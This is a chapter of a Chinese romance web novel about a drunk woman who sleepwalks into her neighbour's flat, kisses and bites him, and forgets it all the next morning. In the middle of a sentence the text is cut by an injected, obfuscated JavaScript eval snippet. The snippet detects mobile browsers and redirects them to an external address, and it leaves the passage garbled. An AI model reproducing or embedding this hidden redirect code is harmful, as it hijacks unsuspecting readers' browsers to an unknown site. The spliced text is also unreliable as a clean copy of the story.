陈见青咬了咬牙,从牙缝里挤出一个字:“能。” “奥。”宋南汐说:“我困。” 陈见青说:“去床上躺好睡觉。” “好吧。” 宋南汐像个小学生一样,走到床边盖好被子,然后闭上了眼,彻底安静下来了。 陈见青在原地观察了一会儿,直到听到一阵均匀的呼吸声,他才关门离开。 墙上的挂钟已经指向三点十五,陈见青躺在沙发上,盯着那扇紧闭的卧室门看了好一会儿,才如释重负般松了口气。 他专门留着客厅灯光没有关掉,避免一会儿黑灯瞎火的出现什么突发情况。 他闭上眼睛,准备浅睡一会儿。 就在他即将入睡的时候,隐隐觉得面上吹来阵阵热乎乎的酒气,烦人得很。 他不耐地睁开眼,骤然看见一张近在咫尺的脸。 这个距离,只要他稍稍动一下,就能碰到那张饱满红艳的双唇。 陈见青呼吸有些乱,往沙发内侧退了退,“你又想干什么?” 那双琥珀色的眼珠凝在他的唇上,像是在喃喃自语:“我渴。” 陈见青说:“那我去给你倒水。” 他正要坐起来,却被沙发旁的人一把压了回去,“想吃草莓。” 草莓?哪来的草莓? 还不等他有所反应,那双娇艳的唇压了上来。 陈见青彻底不动了,双臂僵硬地停在半空,无处安放。 下一秒,唇上传来剧痛。 宋南汐用力地咬住了他的下唇。 陈见青口齿不清地冷声警告:“宋南汐,撒嘴!” 宋南汐的尖牙在他的唇内侧磨了磨,顿时一股血腥味在口腔内弥漫开。 宋南汐意犹未尽地放开他,那双眼睛依旧恋恋不舍地凝在他的唇上。 陈见青立刻抬手捂住了她的嘴。 他感受到掌心忽然被一截柔软的东西舔了一下,那抹湿润瞬间被他骤然升高的体温熨烫,顺着四通八达的经络汇聚到某处。 仅仅几秒钟,他清晰感受到了某个部位的异样。 陈见青的脸瞬间变红,那抹红色沿着脖颈一直没入他的衣领里。 而始作俑者却看着他的唇,吞了吞口水,声音闷闷地从掌心传出:“草莓。” “……” - 第二天一早,宋南汐浑身酸痛地从床上爬起来。 迷迷糊糊走出卧室,想去浴室洗漱。 穿过客厅的时候,余光瞥见沙发上坐着个人,宋南汐神志不清地扬了扬头,打了个招呼,“早。” 然后头也不回地去了洗手间,不过一分钟,某人去而复返,无比震惊地看着沙发上悠闲看报的陈见青:“你怎么会在我家?!” 说完,宋南汐意识到什么,看了眼自己身上半露未露的吊带睡裙,双手立刻防御姿态挡在了胸前。 “喵~”不远处的大橘适时发出一声很夹的喵,喵喵叫。 陈见青抓起沙发上的毛巾毯扔给宋南汐,撩了撩眼皮,“这句话应该我问你。” 宋南汐立刻把毛巾毯围在了身上,看着陈见青有些不解,“你在说什么?这明明是——” 她忽然注意到了陈见青身后坐着的沙发,深绿色的,跟她家的白色沙发截然不同。 还有身上的毛毯,她家也没有…… 宋南汐抿了抿唇,逐渐接受一个事实,“那个……我可能梦游了。” 陈见青放下报纸,抬了抬眼:“昨晚的事,不记得了?” 宋南汐仔细想了想,她记得昨晚喝了很多酒,周志鹏那个老油条想吃她豆腐,反被她录下了证据,还碰到了路清柏和她女朋友,之后还是路清柏帮她叫了代驾,再之后…… 再之后,她就一点也不记得了。 昨晚,是她这几年以来喝的最多最醉的一次,尤其昨晚的酒也是点的上好的,虽然刚开始不显什么,但是后劲尤其大。 宋南汐的脑子里几乎没有昨晚的记忆,但对上陈见青探究的眼神,她又没由来地觉得心虚,小心翼翼问:“我没干什么吧?” 陈见青看她面上不似作伪,应该是真的不记得了。 他莫名地有些不爽,舌尖抵了抵后槽牙,他意味不明哼笑了声,“没干什么。” 宋南汐刚放下心来,就听见陈见青不咸不淡继续道: “不过是半夜三更闯进我的家,睡了我的床。” “跟我的猫还有你的狗,义结金兰,对着闪电暴雨许下了同生共死的誓言。” “奥对,就在昨晚,你以一己之力公然复辟封建帝制,拥立南南为新皇帝,追着南南磕头,大喊皇上万岁。” “……”宋南汐抿了抿唇,“应该不是真的吧?” 陈见青想了想,不咸不淡补充道,“还有,我在昨晚莫名变成了采花大盗被你绑了。” 宋南汐:“……” 宋南汐深吸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14252982|148333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了口气,微笑道:“我可能没睡醒,我回去再睡一觉。” “等等,”陈见青叫住要走的她,“不带走你的三弟吗?” 宋南汐满头问号,只见陈见青叫了声,“二百五,走了。” 话落,小比熊犬不知从哪窜出来,小跑着去找宋南汐。 宋南汐看着脚边活泼欢快的狗,实在想象不出陈见青嘴里的义结金兰是什么鬼。 她扭头就往自己家走,没走几步,又被陈见青叫住。 宋南汐回头,“还有什么忘了吗?” 陈见青朝南南的方向扬了扬下巴,“不跟你的皇帝哥哥打个招呼再走?” 宋南汐:“……再见。” 刚走到门口,陈见青再次叫住了她。 宋南汐面无表情回头,“还想说什么,一次性说完。” 陈见青说:“一会洗漱完,过来吃饭。” “知道了。” 宋南汐回到家,找到自己手机,点开录音列表,确定昨晚的记忆没有出错。 她又迅速去照了镜子,额头上有一大块没消下去的红印子,印证着陈见青口中‘追着南南磕头’的言论的真实性。 宋南汐的心彻底死了。 人怎么能出那么大的糗,她刚刚光是听着就已经是脚趾抓地的程度了! 洗漱完后,做了好一番心理建设她才磨蹭着去了对面。 去的时候,陈见青已经坐在餐桌前等她了。 宋南汐提了提唇角,佯装若无其事地坐到他对面。 待看清桌上那一餐桌的食物时,宋南汐傻眼了,“你把草莓全家都摆上桌了?” 桌上几乎都是甜品,足足□□样,摆了一桌,每一样都是用草莓做的。 陈见青递给她一只叉子,没什么语气地说,“尝尝?” 宋南汐接过叉子,每一样都尝了一个,有酸有甜,除了摆盘和造型不一样,味道其实差不多,都是草莓味。 面前的瓷白碗里装着奶白色液体,上面还浮着几块草莓。 宋南汐舀了一勺,送进嘴里,除了牛奶香味和草莓的酸甜,还有一咬就会爆开的珠珠,她惊喜道:“这个珠珠好好吃,这是什么甜品?” 陈见青说:“草莓啵啵。” 宋南汐赞同地点了点头,“名字也好听。” 陈见青皱了皱眉,再次强调了一遍,“我说,这道甜品的名字叫草莓啵啵。” 宋南汐抬眸看着他,认真点了点头,也重复了一遍,“名字很好听啊!这道甜品也好吃。” 看陈见青脸色不太对,黑眼圈也很重,她下意识问了句,“怎么了?没休息好吗?” 陈见青像是泄气般垂下眼睛,“嗯”了声,“昨晚被鬼压床了。” “那挺巧的。”宋南汐转了转酸痛的脖子,深有同感地说:“我昨晚好像梦到鬼打墙了。” 陈见青扯了扯唇角,“吃饭吧。” 宋南汐刚吃没两口,就听见对面传来“嘶”地一声,她抬头时就看到陈见青正用手抵着嘴唇,“怎么了?” 陈见青放下手,宋南汐这才注意到陈见青嘴唇下方破了一块,此刻还渗着血,她赶紧找来卫生纸递给陈见青,有些担心地问:“怎么还咬到嘴唇了?” 陈见青一边接过纸巾,一边没好气地说:“被狗咬的。” 宋南汐皱了皱眉,又给他底了一张纸巾,嗔怪了句,“不许这么说自己。” 陈见青:“………………”